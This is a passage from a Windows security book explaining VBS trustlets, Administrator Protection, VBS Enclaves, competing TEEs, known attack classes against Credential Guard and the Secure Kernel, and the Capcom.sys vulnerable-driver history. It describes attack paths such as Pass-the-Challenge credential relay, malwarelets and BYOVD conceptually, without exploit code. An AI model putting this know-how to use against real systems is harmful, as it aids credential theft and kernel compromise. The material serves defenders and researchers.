Once authorized, Windows uses a hidden, system-generated, profile-separated user account to create an isolated admin token. This token is issued to the requesting process and is destroyed once the process ends, ensuring that admin privileges don't persist. Administrator protection introduces a new security boundary with support to fix any reported security bugs [323].

The implementation surface that issues those tokens is not publicly named. The architectural family resemblance to a trustlet is strong, and the "new security boundary with support to fix any reported security bugs" line is the formal servicing commitment Microsoft makes for the boundary. Whether the issuer is a trustlet, a VBS Enclave, or a separately isolated VTL0 process is, as of mid-2026, not on the public record.

The security claim is nevertheless concrete enough to reason about. Classic UAC split tokens leave an administrator's medium-integrity session tied to a high-privilege token that can be requested later. Administrator Protection changes that shape: the everyday session runs as a standard user, a Windows Hello authorization gates elevation, Windows creates a hidden profile-separated admin identity, and the resulting admin token is issued only to the requesting process and destroyed when that process exits [323]. The sensitive operation is therefore not "store my password safely" but "mint a transient administrator authority without leaving reusable standing privilege in the user's logon session."

That is exactly the kind of issuer state VBS isolation is good at protecting: policy inputs arrive from VTL0, a narrow decision is made in an isolated boundary, and a usable outcome returns to VTL0. It is also exactly where this chapter must stay disciplined. There is no published AdminIso.exe, no public ALPC endpoint, and no Trustlet ID in the Microsoft documentation. Treat Administrator Protection as a VBS-era security boundary with trustlet-like economics, not as a named inbox trustlet until Microsoft or a reproducible public enumeration says so.

Failure-mode walkthrough: if the Administrator Protection issuer boundary breaks, the failure is unauthorized minting or reuse of administrative authority. The attacker wants a high-privilege token without a fresh Windows Hello authorization, a token that outlives the requesting process, or access to the hidden profile-separated account's standing material. The attacker would need to compromise the broker that asks for elevation, the isolated issuer that decides, the token handoff path back to VTL0, or the policy state that says which operation is being authorized. The documented checks are policy and lifecycle checks: authorize, create a profile-separated admin token, issue it only to the requesting process, destroy it when the process exits [323]. Residual exposure is large because the output is intentionally usable in VTL0: once an elevated process exists, its command line, child processes, handles, and UI are normal Windows attack surface. VBS can protect the issuer; it cannot make every elevated action safe.

Third-party VBS enclaves (Windows 11 24H2 and later)

For the first time since 2015, a VBS-backed higher-trust user-mode primitive is exposed to third-party developers. It is not an inbox trustlet. A VBS Enclave is a DLL signed with a Trusted Signing certificate and loaded into a VTL1 enclave region of a host process via CreateEnclave and CallEnclave. The OS support is narrow:

Windows 11 Build 26100.2314 or later... Windows Server 2025 or later... Visual Studio 2022 version 17.9 or later... The Windows Software Development Kit (SDK) version 10.0.22621.3233 or later, which provides veiid.exe (the VBS Enclave import ID binding utility) and signtool.exe... A Trusted Signing account [280].

Azure SQL's "Always Encrypted with secure enclaves" is the public flagship consumer. The architectural difference from an inbox trustlet is the API surface and the enclave-versus-process model: a VBS Enclave is a region inside an existing process's address space, not a separately scheduled process. The threat model is analogous but not identical: the untrusted host process calls into enclave code, while the enclave region is protected by VBS; there is no inbox Trustlet ID or separate trustlet process to enumerate [281].

Failure-mode walkthrough: if a VBS Enclave boundary breaks, the likely bug is not "dump a trustlet process" but host/enclave confusion. The host controls pointers, lengths, call timing, and shared buffers; the enclave holds keys or plaintext the host should not see. An attacker needs a validation bug (use host pointers after check, trust a length across a time-of-check/time-of-use window, parse a host-owned structure in place) or a signing/measurement failure that loads the wrong enclave image. Microsoft's 2025 MSRC guidance names exactly this proof obligation for enclave authors: validate host parameters, copy before checking, avoid TOCTOU, and assume the host is malicious [283]. Residual exposure is developer discipline. VBS supplies the memory boundary, but application code defines what crosses it.

Roster table

The published confirmed trustlet roster stops at Trustlet IDs 0-3 from 2015. The set of VBS-backed security features on a 2026 box is larger, but Microsoft has not published which of those features are classic IUM trustlets with Trustlet IDs. That is one of the open problems the Open Problems section returns to.

Documented reproducibility, not captured proof

A Reasoner should be able to separate four questions that get blurred in casual VBS discussions: is the VBS substrate running, is Credential Guard one of the services hosted there, is the isolated LSA trustlet present as a process the normal OS can see, and do ordinary VTL0 process-memory operations fail against that process? The supported verification surface is Windows' Device Guard CIM provider and the normal process table. This section is explicitly 🔵 DOCUMENTED reproducibility: commands a reader can run and the expected shapes they should see, not a captured, hash-stamped lab artifact from this chapter. There is no captured evidence here, and the chapter should not be read as claiming a hash-stamped lab artifact.

The sequence below is therefore a reproducibility ladder. The first rung checks the platform mode. The second checks the security service. The third checks that the canonical agent/trustlet split is visible. The fourth explains the isolation property that a lab would demonstrate with a failed ReadProcessMemory, VirtualAllocEx, or CreateRemoteThread attempt. Without all four rungs, people talk past one another: a box can have VBS configured but not running, Credential Guard configured but not reported in SecurityServicesRunning, LsaIso.exe present but not understood as VTL1 user mode, or a visible process misread as an ordinary dumpable process.

Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard |
Select-Object VirtualizationBasedSecurityStatus, SecurityServicesRunning

Expected shape on a protected Windows 11 system:

VirtualizationBasedSecurityStatus: 2
SecurityServicesRunning: {1, 2}

Microsoft documents VirtualizationBasedSecurityStatus = 2 as VBS running and the security-services array as the place where Credential Guard and Hypervisor-Enforced Code Integrity are reported [311]. The exact integer-to-name rendering depends on the shell and tooling layer; the important distinction is configured versus running.

Get-Process -Name LsaIso,lsass -ErrorAction Stop |
Select-Object Name, Id, Path

Expected shape when Credential Guard is active:

Name Id Path
---- -- ----
LsaIso... C:\Windows\System32\LsaIso.exe
lsass... C:\Windows\System32\lsass.exe

The meaning is not that LsaIso.exe is secret. It is visible precisely because it is a process. The meaning is that ordinary process-memory APIs do not work against it as they do against lsass.exe; Microsoft states that CreateRemoteThread, VirtualAllocEx, and Read/WriteProcessMemory do not work as expected against trustlets [310].

sigcheck.exe -i C:\Windows\System32\LsaIso.exe

Expected shape on a Microsoft-signed isolated LSA binary:

Verified: Signed
Signing date:...
Publisher: Microsoft Windows
Description: Credential Guard & Key Guard

The public trustlet gate is stricter than ordinary Microsoft signing: Ionescu's Windows 10 RTM analysis identifies Signature Level 12 plus both the Windows System Component Verification EKU and the IUM EKU as the required code-integrity condition [277]. Sigcheck is a practical first look; the architectural proof is the Secure Kernel load path described in the five gates above.

# Do not run invasive memory probes against production credential infrastructure.
# In a lab, a minimal ReadProcessMemory/CreateRemoteThread/VirtualAllocEx probe
# against LsaIso.exe should be treated as a negative test: success would be
# the finding, failure is the documented trustlet behavior.

Microsoft documents the negative surface directly: CreateRemoteThread, VirtualAllocEx, and Read/WriteProcessMemory "will also not work as expected when used against Trustlets" [310]. That sentence is stronger evidence for the operational boundary than a screenshot of a failed toy dumper, because the exact error path varies by build, caller privileges, PPL state, EDR hooks, and whether the test process opens a handle before or after the trustlet's secure-process bit is observed. The invariant is not a particular Win32 error code; the invariant is that VTL0 cannot map the VTL1 pages.

These probes do not prove which unpublished trustlets are present on a given servicing build. They prove the part defenders can rely on through supported interfaces: the VBS substrate is running, Credential Guard is reported as a running security service, the canonical trustlet/agent split (LsaIso.exe beside lsass.exe) exists, and the documented VTL0 memory APIs are outside the supported access model. A current full roster still requires the research path discussed later: NtQuerySystemInformation(SystemIsolatedUserModeInformation) under conditions that let you inspect IUM metadata safely [312].

Competing Approaches

Microsoft is not alone. The same threat model ("protect user-mode code from a compromised OS kernel") has been answered six other ways. None is strictly better than a trustlet. None is strictly worse. The right answer depends on what platform you are on, what threat model you have, and what workload you are trying to protect.

Trusted Execution Environment (TEE). A hardware-enforced or hypervisor-enforced execution context whose memory and state are inaccessible to the surrounding host operating system, including its kernel. The Open Mobile Terminal Platform (OMTP) first defined the term, and GlobalPlatform now publishes the standard APIs (TEE Client API for the host, TEE Internal Core API for the trusted code). Windows trustlets, Intel SGX enclaves, ARM TrustZone Trusted Applications, AMD SEV-SNP confidential VMs, Apple's Secure Enclave, and seL4 user-mode security servers are all variants of TEE [341].

Intel SGX

Software Guard Extensions launched with the sixth-generation Intel Core processors (Skylake) in 2015 [342]. SGX adds two CPU instructions with different privilege requirements: ENCLS (ring 0; the OS issues leaves like ECREATE on behalf of a user-mode application) and ENCLU (ring 3; the application issues leaves like EENTER and EEXIT to enter and leave its enclave) [343]. The result is a user-mode-controllable enclave whose memory is encrypted on the way out of the CPU's Enclave Page Cache to DRAM. The CPU microcode itself, plus the Quoting Enclave, is the TCB. Neither the OS kernel nor the hypervisor sits in the trust path.

That sounded ideal in 2015. It has not aged well. Foreshadow (USENIX Security 2018, Van Bulck et al.) demonstrated that transient-execution attacks could extract not only enclave memory but the platform's attestation key [344]. The Foreshadow team's site states the consequence:

SGAxe (attestation-key extraction) [345], Plundervolt (software-controlled undervolting to fault SGX computations) [346], SgxPectre (branch-target injection across the enclave boundary) [347], and others followed. Intel deprecated SGX on 11th-generation Core and later client CPUs, which incidentally removed Ultra HD Blu-ray playback on officially licensed software including PowerDVD [342]. SGX continues on Xeon for confidential cloud workloads but is no longer a target architects pick on Windows clients.

AMD SEV-SNP and Intel TDX

AMD's Secure Encrypted Virtualization with Secure Nested Paging (SEV-SNP), introduced on EPYC 7003 (Milan, launched 15 March 2021) [348], and Intel's Trust Domain Extensions (TDX), introduced on 4th-generation Xeon Scalable (Sapphire Rapids, launched 10 January 2023) [349], provide whole-VM confidential computing [292] [293]. AMD's verbatim claim: "SEV-SNP adds strong memory integrity protection to help prevent malicious hypervisor-based attacks like data replay, memory re-mapping, and more to create an isolated execution environment" [292]. Intel's verbatim claim about TDX: "A CPU-measured Intel TDX module enables Intel TDX. This software module runs in a new CPU Secure Arbitration Mode (SEAM) as a peer virtual machine manager (VMM)" [293]. The AMD SEV-SNP whitepaper "Strengthening VM Isolation with Integrity Protection and More" is the canonical technical reference [350].

The granularity is different from a trustlet. SEV-SNP and TDX isolate an entire virtual machine from its hypervisor and host. They do not isolate a process from its own VM's kernel. For "this user-mode process should be protected from a SYSTEM kernel write primitive on the same OS," a trustlet is the primitive; for "this entire VM should be protected from a compromised cloud provider," a CVM is the primitive. Use the right one.

ARM TrustZone and OP-TEE

The two-world hardware split that has shipped across Cortex-A-class systems since the mid-2000s is Arm TrustZone: Arm's architecture manual documents the Security Extensions model behind Secure and Non-Secure worlds, with monitor-mediated transitions between them [351]. The CPU enforces a Non-Secure World and a Secure World; switching between the two is mediated by a Secure Monitor Call (SMC) instruction. OP-TEE is the canonical open-source secure-world OS for Cortex-A TrustZone, with Trusted Applications running as user-mode binaries in Secure World EL-0 and the OP-TEE OS itself running at EL-1 [352]. The OP-TEE about page describes the design: "OP-TEE is a Trusted Execution Environment (TEE) designed as companion to a non-secure Linux kernel running on Arm; Cortex-A cores using the TrustZone technology" [352].

TrustZone is the closest non-Windows analog to a trustlet at the architectural level. The vocabulary maps one for one.

Apple Secure Enclave processor (SEP)

Apple's answer is a dedicated on-die security subsystem. SEP is a separate processor core, isolated from the Application Processor on the same SoC, with its own boot ROM, its own AES engine, and its own random number generator. It has been in every iPhone since iPhone 5s (2013), every Apple Silicon Mac, every Apple Watch from Series 1 [62]. Apple's verbatim description:

The Secure Enclave Processor runs an Apple-customized version of the L4 microkernel. It's designed to operate efficiently at a lower clock speed that helps to protect it against clock and power attacks [62].

SEP is the strongest counter to microarchitectural side channels among the production options, because the cores genuinely do not share microarchitectural state with the Application Processor. The price is that everything is firmware-class: patching a SEP bug means rolling SEP firmware on every Apple device, not pushing an OS update. The cycle is slower and more centralized.

seL4 plus user-mode security servers

The academic conscience of the lineage. About 8,700 lines of formally verified C, with machine-checked proofs of functional correctness, confidentiality, and integrity [319] [321]. Sub-microsecond IPC. The price is that seL4 is a separation microkernel, not a desktop OS; building a Credential-Guard-equivalent on seL4 means designing the application architecture from the microkernel up, not retrofitting it onto a Windows-compatible stack. seL4 has shipping deployments in defense (the DARPA HACMS program), automotive ECUs, and the security subsystem of Qualcomm SoCs.

The comparison is useful because seL4 and VBS make opposite migration bets. seL4 says: make the kernel small enough to verify, then build the security-sensitive system as explicit user-mode components on top. The verifier's guarantee is extraordinarily strong, but the application must be shaped for the model from the beginning. Windows says: keep the enormous NT compatibility universe in VTL0, introduce a second kernel and a small VTL1 user-mode world beside it, and move only the secrets that cannot survive a VTL0 compromise. The guarantee is narrower (no proof of the Secure Kernel, no proof of the trustlet code, an unverified secure-call parser) but the migration path is viable for hundreds of millions of existing Windows systems.

If you were designing a missile controller, seL4's proof story would dominate. If you are protecting LSASS credentials on laptops that must still run Win32 applications, domain join, EDR, Hyper-V, drivers, and twenty years of enterprise management tooling, a formally verified replacement OS is not an option. Trustlets are the pragmatic middle: not verified minimalism, but a surgically inserted higher-privilege user mode whose TCB is smaller than all of NT and whose deployment cost is small enough to ship by default.

When to pick which

A decision table of the kind a colleague would actually use.

Trustlets are the right answer for Windows. They are not the right answer for every platform, every threat model, or every workload. They are also not without limits on Windows itself. What are those?

Where this link breaks: The floor of the threat model

By 2020 the trustlet model had been shipping for five years. Two researchers at the Microsoft Security Response Center, Saar Amar and Daniel King, pointed a fuzzer at the secure-call interface for two weeks and reported back with five VTL0-to-VTL1 bugs [295]. Their Black Hat USA 2020 talk, "Breaking VSM by Attacking Secure Kernel," is the most important public document on what the trustlet model actually guarantees and what it does not [296].

The talk is honest in a way Microsoft is rarely honest about its own products. The slides enumerate the bugs by CVE number, name the specific Secure Kernel routines they exploited, and (unusually) list the hardening changes Microsoft shipped because of what was found. Reading the deck is the closest thing to a Q-and-A with the Secure Kernel team.

Bug class 1: the secure-call interface is the floor

The Secure Kernel exposes about three dozen "secure services" callable from VTL0 via the IumInvokeSecureService dispatcher. Each takes a parameter block from VTL0, parses it inside VTL1, and returns. That dispatcher is, by definition, the largest VTL0-controllable input surface in the model. Amar and King retargeted the Hyperseed hypercall fuzzer, originally written by Daniel King and Shawn Denbow for hypercall fuzzing, at securekernel!IumInvokeSecureService [295]. Two weeks of fuzzing produced five bugs.

Two of them shipped with public CVE numbers in 2020. CVE-2020-0917 is an out-of-bounds read in the secure-call surface; CVE-2020-0918 is a design flaw in SkmmUnmapMdl where a VTL0 caller could pass a fully attacker-controlled Memory Descriptor List to SkmiReleaseUnknownPTEs [353] [354] [295]. The NVD entries describe both with the same boilerplate ("Windows Hyper-V Elevation of Privilege Vulnerability") and classify the CWE as "Insufficient Information"; the technical detail lives in the Amar/King deck.

Microsoft hardened in response. The Amar/King deck enumerates what changed:

• The Secure Kernel pool moved to segment heap in mid-2019, breaking the heap layout the public exploit depended on.
• Four W+X regions in VTL1 were reduced to +X only, eliminating attacker-controlled code-injection targets.
• SkpgContext, a HyperGuard-style control-flow integrity check for the Secure Kernel, was introduced [295].

Malwarelet. Alex Ionescu's term for an attacker-controlled trustlet, enabled by a substrate compromise rather than a trustlet bug. If Test Signing is on, or if a production Microsoft signing key leaks, or if Secure Boot can be bypassed, an attacker can sign and load their own "trustlet" that passes the five gates described earlier and operates with VTL1 privilege. The trustlet model itself remains intact; the trust roots underneath it are what fail [277].

Bug class 2: denial of service is not a security boundary

Amar's deck states the rule that excludes liveness from the VBS threat model verbatim:

The hypervisor schedules VTL1; VTL0 is the agent for almost every communication channel into VTL1; VTL0 can stop talking to VTL1 at any time. None of this is, in Microsoft's stated model, a security violation. A VTL0 kernel attacker who can prevent Credential Guard from issuing tickets has not stolen any credential; they have, in the language of the threat model, achieved denial of service, which is out of scope. This matters in practice: a defender cannot reason about a trustlet "always being available." They can only reason about its memory not being readable from VTL0 when it is available.

Bug class 3: the agent RPC surface lives in VTL0

The trustlet's pages are safe even from VTL0 ring 0. The agent process that services the trustlet's ALPC port is not safe. The agent is lsass.exe for Credential Guard, vmwp.exe for the vTPM, presumably the Hello biometric pipeline for ESS. Every byte of every protocol whose state machine the agent implements is reachable from VTL0. The hash never leaves VTL1; the authentication outcomes the hash produces can be relayed.

In December 2022 Oliver Lyak published "Pass-the-Challenge: Defeating Windows Defender Credential Guard" [337]. The technique recovers usable NTLM challenge responses from encrypted credential blobs that LsaIso.exe returns to lsass.exe in VTL0:

In this blog post, we present new techniques for recovering the NTLM hash from an encrypted credential protected by Windows Defender Credential Guard. While previous techniques for bypassing Credential Guard focus on attackers targeting new victims who log into a compromised server, these new techniques can also be applied to victims logged on before the server was compromised [337].

Pass-the-Challenge in one paragraph.

A network authentication protocol that uses NTLM works in challenge-response form: the server sends a challenge, the client encrypts it with its NTLM hash, the server (or a domain controller) verifies the response. With Credential Guard, the client's NTLM hash lives in LsaIso.exe; only LsaIso.exe can perform the encryption. A VTL0 attacker who can talk to lsass.exe can ask lsass.exe to ask LsaIso.exe to compute an NTLM response for an attacker-supplied challenge. The attacker never sees the hash; they see an authentication response computed with it. Many real-world relay attacks need only the response, not the hash. Lyak's writeup is the worked example; the architectural fact is that the agent RPC channel is a VTL0 surface even though the hash itself is not.

Microsoft documents one corner of the limit verbatim: Credential Guard "doesn't prevent an attacker with malware on the PC from using the privileges associated with any credential" [311]. The "use" is the agent-side operation; the trustlet is doing the cryptography, and the cryptography is being used by the attacker.

Bug class 4: trustlet-to-trustlet via shared Instance GUIDs

Trustlets that share an Instance GUID can participate in the same per-instance storage namespace. The legitimate example is the vTPM pair: Trustlet ID 3 provisions initial state for a partition GUID; Trustlet ID 2 (vmsp.exe) later reads and services that partition's vTPM. The mechanism is powerful because the Instance GUID is deliberately not globally unique per Trustlet ID. It names an object instance, while the Trustlet ID names the class of code allowed to perform a particular operation on that object.

The exact proof obligation is therefore: every Secure Kernel operation that touches per-instance trustlet storage must authorize the tuple (operation, caller Trustlet ID, Instance GUID), not merely the GUID. A correct rule says, for example, "ID 3 may call SecureStorageSet for this provisioning lifecycle" and "ID 2 may call SecureStorageGet for this runtime vTPM lifecycle." An incorrect rule says only "the caller supplied the partition GUID" or only "the caller is an IUM process." The latter two checks create trustlet-to-trustlet confusion: a caller that can bind or guess the same Instance GUID becomes a storage peer even though it is the wrong trustlet class for the operation.

A concrete failure path would require three ingredients. First, the attacker needs execution as a trustlet or trustlet-equivalent caller. That is already outside the ordinary VTL0-kernel-attacker model unless obtained through Test Signing, Secure Boot/signing compromise, a malicious Microsoft-signed IUM binary, or a VTL0-to-VTL1 bug that creates a malwarelet. Second, the attacker needs a victim Instance GUID, such as a Hyper-V partition GUID whose vTPM material is stored under that namespace. Third, SkCapabilities or an adjacent secure-storage check must fail to discriminate the caller's Trustlet ID and operation. With those ingredients, the attacker does not need to read raw vmsp.exe memory. It can ask the Secure Kernel for storage access under the victim GUID and receive or overwrite blobs the victim trustlet class should have owned.

That is a documented proof obligation, not a claimed public exploit. As of mid-2026, this chapter is not aware of a public CVE whose root cause is "shared Instance GUID allowed trustlet-to-trustlet storage confusion." The public record does show the primitive (shared Instance GUIDs plus CheckByTrustletId 2/CheckByTrustletId 3 rules in the 2015-era surface [277]) and the malwarelet risk from a broken trust root. The honest conclusion is narrow: the design is safe only if the capability table and lifecycle checks are complete; no public exploit proves they are incomplete, and no public audit proves they are complete.

Bug class 5: substrate compromise (Secure Boot, firmware, signing keys)

If Test Signing is on; if a production signing key leaks; if Secure Boot can be bypassed to boot a kernel that accepts attacker-controlled trustlet roots; if the UEFI firmware itself permits a DMA attack against early-boot memory: the entire trustlet model is moot. Ionescu's BH2015 deck states the diagnosis: "VBS' key weakness is its reliance on Secure Boot" [277]. Rafal Wojtczuk's Black Hat USA 2016 attack-surface analysis empirically validated the warning, demonstrating one non-critical VBS-feature bypass and one critical firmware exploit [278]. The firmware below VBS is the substrate trustlets sit on; the trustlet model is no stronger than that substrate.

The trustlet model has a finite, studied, and hardened attack surface. The surface is not zero. Liveness is not promised. The firmware and Secure Boot underneath everything still matter. What is new on this surface in 2024 to 2026?

Open Problems

Three things you might expect Microsoft to have published by 2026 are still partial or missing: the current inbox trustlet roster, an architecture diagram of Administrator Protection on par with Credential Guard's, and a public CVE wave around VBS Enclaves. Here is the frontier.

1. Trustlet enumeration drift. Ionescu's August 2015 enumeration of Trustlet IDs 0 through 3 remains the only authoritative published list. As of 2026, the ESS biometric matcher has not been named with a Trustlet ID and the Administrator Protection issuer has not been committed to as a trustlet at all. A researcher with a debugger and the Quarkslab IUM-debugging recipe can recover the current roster empirically [312]; Microsoft has not republished it.

2. VBS Enclave trust-boundary hardening. Microsoft's Security Response Center published a blog post in June 2025 ("Everything Old Is New Again") explicitly committing to host-to-enclave pointer validation, copy-before-check discipline, and TOCTOU avoidance as the active hardening surface for VBS Enclaves [283]. The post is unambiguous that a CVE wave is foreseeable as researchers turn their attention to the host-enclave seam. As of mid-2026 no public CVE has been issued against a VBS Enclave-using product, but Microsoft's narrowing of supported Windows builds in 2025 (from "Windows 11 24H2 or later" to "Windows 11 Build 26100.2314 or later") is the kind of build-floor adjustment that historically precedes a documented hardening change [280].

3. Side channels against VTL1. Transient-execution attacks against VTL1 memory have not been publicly demonstrated end to end. The Foreshadow class of attacks against SGX is the existence proof that a co-resident TEE can leak through microarchitectural side channels, and the threat model explicitly includes them [290]. There is no VBS-specific transient-execution mitigation; platform-wide mitigations (Kernel Virtual Address Shadow, Retpoline, Indirect Branch Restricted Speculation) are the only defense. A demonstration of "Foreshadow-against-LsaIso" would not be surprising; its absence to date is, given the research community's interest, mildly so.

4. Debugging asymmetry. Researchers have a working trustlet-debugging recipe; defenders have an explicit "no" from Microsoft. The Quarkslab writeup walks through nested virtualization to attach to a trustlet under controlled conditions [312]; Microsoft's product-facing page states verbatim that "it is not possible to attach to an IUM process" and that "other APIs, such as CreateRemoteThread, VirtualAllocEx, and Read/WriteProcessMemory will also not work as expected when used against Trustlets" [310]. The asymmetry favors offense: an attacker with the time, hardware, and tooling Quarkslab demonstrates can study trustlet internals in ways a defender on a production box cannot. Live-system trustlet introspection for incident response is the missing capability.

5. Administrator Protection transparency. As of 10 May 2026, the Administrator Protection feature has been shipped in preview (KB5067036, 28 October 2025), then reverted in the same update note pending a future re-rollout [340] [323]. There is no architecture diagram on the level of Credential Guard's "how it works" page. There is no published Trustlet ID. There is no public commitment to whether the token issuer is a trustlet, a VBS Enclave, or something else inside the new security boundary. For a feature that materially changes the local-elevation model of Windows, that is unusual reticence.

6. Cross-architecture portability. A workload that wants to run as a trustlet on Windows, a Confidential VM on Linux, a Trusted Application on ARM, and a Secure Enclave Application on Apple silicon must, today, be written four times. GlobalPlatform's TEE Client API standardizes one side of TrustZone, the Open Enclave SDK abstracts a subset of SGX and TrustZone, and VBS Enclaves do their own thing. No universal portable TEE API exists. For workloads where portability matters more than peak isolation, this is the open problem with the most direct commercial pressure behind it.

These are questions a researcher with a year of grant time could move the field on. The practitioner's question is more immediate.

What it means for you: Practitioner guide

What changes in a real workflow once you know what a trustlet is? Four short answers, each with a different failure mode. Administrators must verify running state, not marketing names. Researchers must enumerate and debug without confusing visible process objects for readable memory. Application developers must use VBS Enclaves rather than trying to acquire inbox-trustlet powers they cannot be issued. Defenders must move detections to the places VTL0 can still see: agents, protocol use, configuration drift, and failed assumptions about Credential Guard.

The practical rule is: do not treat "VBS enabled" as a Boolean blessing. Ask which component is isolated, which agent remains in VTL0, which API crosses the boundary, and which residual attack class applies. A mature operational checklist names all four.

Windows administrator

Verify Credential Guard is actually running before you assume it is. Two ways.

Enumerating live trustlets on a 2026 box requires more care than enumerating ordinary processes. Process Explorer's Image tab carries an IUM marker for trustlet processes. SysInternals Sigcheck on a candidate binary surfaces the Signing Level. The Microsoft Learn IUM page is explicit that "other APIs, such as CreateRemoteThread, VirtualAllocEx, and Read/WriteProcessMemory will also not work as expected when used against Trustlets" [310]: the same APIs many EDR products rely on for behavioral monitoring will silently fail or report sentinel values when targeted at a trustlet. Plan detections accordingly.

Security researcher

The Quarkslab blog post "Debugging Windows Isolated User Mode (IUM) Processes" is the canonical recipe for attaching to a trustlet under nested virtualization [312]. The empirical enumeration path is NtQuerySystemInformation with class SystemIsolatedUserModeInformation, an undocumented information class known from reverse engineering rather than a supported Microsoft API; the structure returned includes a count of running trustlets and their identifying metadata.

A serious research workflow has three phases. First, enumerate without perturbing: collect the Device Guard CIM state, the ordinary process list, candidate binaries' signing metadata, and SystemIsolatedUserModeInformation output on the exact Windows build under study. Second, map the boundary: identify the VTL0 agent, its ALPC endpoints, the request structures that cross into VTL1, and any documented unsupported APIs that should fail against the trustlet. Third, debug in a sacrificial nested-virtualization lab, not on a production host, because the very act of enabling the required debugging path changes assumptions defenders rely on.

The targets are also different by layer. Fuzzing IumInvokeSecureService is secure-kernel research; fuzzing LSA_ISO_RPC_SERVER request shapes is agent/trustlet protocol research; auditing SkCapabilities is cross-trustlet authorization research; studying Test Signing and Secure Boot bypasses is substrate research. Mixing these layers produces bad claims. A VTL0 ALPC bug may defeat Credential Guard operationally without ever reading LsaIso.exe memory. A secure-call bug may pierce VTL1 without touching LSASS. A firmware bypass may make the five gates meaningless by letting the attacker create a malwarelet. Name the layer before you name the vulnerability.

Application developer (VBS enclaves)

If you are writing third-party code that needs trustlet-class isolation, the primitive you target is a VBS Enclave, not a trustlet. The toolchain is specific:

• Visual Studio 2022 version 17.9 or later.
• Windows SDK version 10.0.22621.3233 or later (provides veiid.exe, the VBS Enclave import ID binding utility, and signtool.exe).
• A Trusted Signing account for production signing [280].

The architectural rule is never trust the host. The host process's address space is reachable by the enclave; the enclave's address space is not reachable by the host. Range-validate every pointer the host hands the enclave; copy before you check (so the host cannot mutate the data between your check and your use); avoid TOCTOU windows. Microsoft's "Everything Old Is New Again" post is explicit that this is the hardening surface researchers are looking at right now [283].

The development guide includes a sample with a comment that captures the discipline:

Every DLL loaded in an enclave requires a configuration. This configuration is defined using a global const variable named __enclave_config of type IMAGE_ENCLAVE_CONFIG... // DO NOT SHIP DEBUGGABLE ENCLAVES TO PRODUCTION [282].

The IMAGE_ENCLAVE_POLICY_DEBUGGABLE flag is for development only. The VbsEnclaveTooling repository on GitHub provides a NuGet package and a code generator that make the cross-VTL marshalling less error-prone, plus reference documentation including Edl.md, HelloWorldWalkthrough.md, and CodeGeneration.md [309].

Defender

Know what Credential Guard does not protect, because that is where most exposure remains.

The trustlet model is finite, studied, hardened, and useful. Use the lock; do not assume the lock is the only thing on the door.

Code Integrity

The driver that was signed and the page that cannot change

The driver that loaded

In late September 2016, Capcom shipped a kernel driver, Capcom.sys, to Street Fighter V's entire installed base as part of an anti-cheat update. Within a day, the researcher @TheWack0lian disclosed that the driver exposed IOCTL 0xAA013044 and used it to execute a user-supplied function pointer in kernel mode, with SMEP disabled along the way. The original blog URL is no longer reachable from its canonical location, so the technical artifacts here are anchored to later public PoCs: the IOCTL and SHA-1 in Tanda's standalone exploit [356], the Metasploit module history [357], and FuzzySecurity's contemporaneous Capcom rootkit walkthrough [358]. Within weeks the technique was operational in Metasploit, and in October 2016 Satoshi Tanda published the canonical standalone exploit on GitHub. Capcom withdrew the SFV driver shortly after, but the bytes were already in the wild.

The driver was properly Authenticode-signed. It chained to a Microsoft-recognized root. On the broad population of default-configured Windows 7, 8.1, and pre-block-list Windows 10 machines that accepted that signing path, it loaded cleanly; later revocation, HVCI, WDAC/App Control policy, S mode, and the vulnerable-driver block list changed that answer on machines where those controls apply.

That is the puzzle this chapter exists to answer. How does an operating system whose entire kernel-loading policy is was this binary signed? answer a vulnerability whose only failure mode is yes, by a real publisher, doing exactly what the signature says it does?

A class, not an incident

Capcom.sys was not the first signed kernel driver with a primitive IOCTL, and it would not be the last. The pattern recurs across two decades and is the through-line of this chapter. The catalog includes Micro-Star's RTCore64.sys (the kernel component of MSI Afterburner), Gigabyte's gdrv.sys, and the KProcessHacker driver shipped with Process Hacker; the BYOVD section walks through each one with its primary disclosure record.

The attack class has a name. Bring Your Own Vulnerable Driver, or BYOVD. The adversary does not need to find a kernel zero-day. They need to find one signed driver, anywhere, whose interface is unsafe by design, and to ship it.

The current Windows 11 22H2 client honors %windir%\system32\CodeIntegrity\DriverSiPolicy.p7b, a Microsoft-signed deny list enforced as a Code Integrity/App Control policy. On HVCI-on systems, the code-integrity decision is made from a hypervisor-isolated VTL1 context; on supported client builds the vulnerable-driver block list can also be enforced through the Code Integrity/App Control stack without HVCI being the precondition. HVCI adds the separate guarantee that the engine refuses writable-and-executable kernel mappings and that VTL0 cannot rewrite the judge. These behaviors are documented on Microsoft Learn's Memory Integrity page [279] and the Microsoft-recommended driver block rules page [271]. Neither existed in 2006.

To understand why Windows now refuses to load drivers it once asked Microsoft to sign, we need to go back thirty years to the moment Windows first asked a publisher to sign anything at all.

Advisory trust: 1996 to 2005

For its first decade, the Windows driver signing policy was a polite recommendation.

Microsoft shipped its first user-mode code-signing primitive, Authenticode, in 1996, packaged for developers in the same tool kit that gave us SignTool, MakeCat, and Inf2Cat: the suite Microsoft Learn still documents under "Cryptography tools" [359]. Authenticode wrapped a PKCS#7 signature around the SHA-1 (and later SHA-256) hash of a PE image and let a recipient walk the signer's certificate chain to a trusted root. It was the first answer to the question who shipped this binary? It was, deliberately, never an answer to is this binary safe?

For drivers, the user-mode signing primitive was paired with a separate quality program. The Windows Hardware Quality Labs program, documented today via the Hardware Lab Kit [360], tested third-party drivers against a Microsoft-curated compatibility suite and rewarded passing drivers with a counter-signature, eventually surfaced as the "Designed for Windows" or "Certified for Windows" mark [360]. The badge was operationally meaningful for OEM badging and Windows Update distribution. It was not a load-time gate. An unsigned .sys file dropped on disk by a setup script still loaded.

The SetupAPI prompt

On 32-bit Windows, the gate the user actually saw was the SetupAPI driver-installation prompt. The administrator could set the system to Ignore, Warn, or Block unsigned drivers; the default was Warn. Warn meant a click-through dialog at install time. An administrator who clicked Install this driver anyway loaded the unsigned driver, no further questions asked. The structural truth is the one Microsoft's modern KMCS policy page [267] acknowledges by contrast: under advisory policy, the prompt is the policy, and a prompt is exactly as strong as the user clicking past it [267].

The Sony BMG XCP incident in October 2005 made the structural weakness concrete. The XCP copy-protection software, shipped on retail audio CDs, autorun-installed an unsigned kernel-mode filter driver. The driver hid any file, registry key, or process whose name began with the string $sys$: a textbook rootkit by capability if not by intent. The driver loaded after an administrator clicked through the warning prompt, exactly as advisory policy allowed. The pattern is described well in Wikipedia's code-signing article [361].

